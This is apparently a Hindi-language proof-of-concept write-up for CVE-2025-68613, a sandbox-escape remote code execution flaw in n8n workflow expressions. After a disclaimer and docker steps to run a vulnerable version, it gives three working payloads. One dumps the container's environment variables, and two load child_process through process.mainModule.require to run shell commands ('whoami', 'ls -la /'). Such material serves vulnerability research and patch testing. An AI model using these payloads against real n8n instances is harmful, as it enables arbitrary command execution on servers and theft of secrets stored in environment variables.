
CVE-2025-68613 के लिए PoC
केवल शैक्षणिक उद्देश्यों के लिए यह प्रूफ ऑफ कॉन्सेप्ट n8n में एक गंभीर भेद्यता (CVE-2025-68613) को प्रदर्शित करता है। इसका उपयोग उन सिस्टमों पर न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति नहीं है।
1.122.0 से पहले के n8n संस्करणों में रिमोट कोड एक्ज़ीक्यूशन (RCE) भेद्यता मौजूद है। प्रमाणित उपयोगकर्ता वर्कफ़्लो एक्सप्रेशन एडिटर में विशिष्ट JavaScript पेलोड के माध्यम से एक्सप्रेशन सैंडबॉक्स को बायपास कर सकते हैं और होस्ट सिस्टम पर मनमाना कोड निष्पादित कर सकते हैं।
एक डेटा वॉल्यूम बनाएं और n8n का एक भेद्य संस्करण (जैसे, v1.120.0) चलाएं।
# Create volume for persistence
docker volume create n8n_data
# Run vulnerable n8n instance
docker run -it --rm \
--name n8n \
-p 5678:5678 \
-v n8n_data:/home/node/.n8n \
n8nio/n8n:1.120.0
http://localhost:5678 पर जाएं और यदि आवश्यक हो तो प्रारंभिक सेटअप पूरा करें।

एक खाली वर्कफ़्लो शुरू करने के लिए "Add Workflow" पर क्लिक करें।

वर्कफ़्लो में एक Set नोड जोड़ें। यह नोड हमें ऐसे मान परिभाषित करने की अनुमति देता है जिन्हें एक्सप्रेशन के रूप में मूल्यांकित किया जा सकता है।

Set नोड में, एक पैरामीटर (जैसे, value) संशोधित करें और इनपुट प्रकार को Expression में बदलें।

भेद्यता प्रदर्शित करने के लिए एक्सप्रेशन एडिटर में निम्नलिखित पेलोड दर्ज करें।
यह पेलोड कंटेनर से संवेदनशील एनवायरनमेंट वेरिएबल लीक करने के लिए this.process.env तक पहुंचता है।
पेलोड:
{{ (function() {
return JSON.stringify(this.process.env, null, 2);
})() }}
परिणाम:

यह पेलोड child_process मॉड्यूल को लोड करने के लिए process.mainModule.require तक पहुंचकर सैंडबॉक्स को बायपास करता है, जिससे मनमाने सिस्टम कमांड निष्पादित किए जा सकते हैं।
पेलोड:
{{ (function() {
const require = this.process.mainModule.require;
const { execSync } = require('child_process');
return execSync('whoami').toString();
})() }}

परिणाम: चल रही प्रक्रिया के उपयोगकर्ता संदर्भ की पुष्टि करता है।
फ़ाइल सिस्टम ब्राउज़ करने की क्षमता प्रदर्शित करता है।
पेलोड:
{{ (function() {
const require = this.process.mainModule.require;
const { execSync } = require('child_process');
return execSync('ls -la /').toString();
})() }}
परिणाम:
